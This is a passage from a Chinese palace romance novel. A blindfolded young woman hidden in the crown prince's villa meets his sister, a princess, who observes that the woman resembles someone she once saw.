“出了些事,姑娘先回西院,奴婢处理完便回来。”惊夏松开她,方要叫婢女送她回去,就见一抹鹅黄身影走近,心中一个咯噔,来不及了。 急忙低声提醒姜予宁:“待会说话的人是主子的妹妹,你唤公主殿下便可,不要多说。” 姜予宁心口一跳,下意识握紧惊夏的手。 萧寒山是太子,他的妹妹是公主,身份高贵,她不能露出一丝马脚,被公主看出端倪。 惊夏已经来不及叫那婢女带姜予宁回去,一道鹅黄身影走来。 “阿兄今日不在?” 清脆之声涌入耳畔,姜予宁稍稍低了头,静默不动。 紧接着惊夏的声音在身侧响起:“主子有事外出,这几日都不在。殿下今日怎的来了别院?奴婢带您去流云亭先歇着?” “不必,本公主只是来看看。” 少女走近,瞧见惊夏身侧的女子,挑眉扫视几眼,语气轻慢了些:“这位是……” 姜予宁立即行礼,唤了声公主殿下。惊夏方要解释,少女已经来到姜予宁面前,心猛地一跳,紧张地看着她。 “怎的系了眼纱?眼睛瞎了?” 姜予宁皱了眉,不喜欢这位公主说话的语气。 惊夏解释道:“她的双眼受了伤,见不得日光,是以才系上眼纱遮挡日光。” 少女哦了一声,盯着蒙着眼纱的女子看。 惊夏想将她的注意力从姜予宁身上移开,刚开口说了两个字,被少女打断。 “她是阿兄带回来的吗?” 此话一出,姜予宁与惊夏皆是心头一紧。 知道自己此刻不好开口,多说多错,便装哑巴,由惊夏应对。 “是。” 惊夏解释道:“这位姑娘遇难,公子救了她,她又伤了眼,便在别院休养。” 本以为要耗费好一番时间,少女并未留太多目光在这名自己阿兄带回来的女子身上。 “本公主只是好奇问问,你不用什么都抖落出来。”少女 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婢女走过来,小声说:“奴婢带姑娘回去?” 姜予宁也不想与那公主待在一处,点了头,刚走几步,那公主忽然叫她过去陪着。 “她叫什么?” 惊夏连忙回答:“唤作阿宁。” 主子叮嘱过若有人问起,只答阿宁,不可告诉旁人她的本名。 少女遥望女子窈窕身段,眼眸一转,笑了,“那就叫阿宁陪本公主逛一逛。” 惊夏本是想接待片刻就找借口叫她离开,谁知被她碰上姜予宁,七殿下的性子活泼得很,什么事都要来凑热闹,今日怕是一时半会不会走。 “阿宁姑娘眼睛不大好,不能久见日光,殿下还是——” “知道知道,去流云亭不就好了,那里日光晒不到。” 被婢女搀扶过来的姜予宁听到这句话,心下越发地不喜这位公主。 言行举止看起来如同稚子,只顾着自己高兴,不顾及旁人感受。 她猛然惊醒。 是了,他们这等身份地位的人,哪里需要顾及旁人的感受。 姜予宁深吸一口气,控制好自己的情绪,露出笑来:“我瞧不见路,怕是没法像常人那般跟上公主步伐,还请公主不要怪罪。” 少女娇俏一笑,“你走你的,本公主怪一个瞎子干嘛。” 姜予宁努力保持心平气和,“多谢公主。” 惊夏见此,稍稍松了口气,她得跟着伺候七殿下,没法照顾姜予宁,给了那婢女一个眼色,示意她照顾好姜予宁。 少女身边的宫女跟在她身后,她悠闲走在青石路上,瞧着这处颇为宁静闲适的别院,忽然道:“本公主一见你,便觉得眼熟,方才仔细看,确实很像本公主见过的一人。” 话音一落,在场的人心思各异。 惊夏呼吸一滞,已然无法开口阻止。 “阿兄该是看你像那人,才带你回来。” 姜予宁脚步顿住,大脑空白,不知该做出何种反应。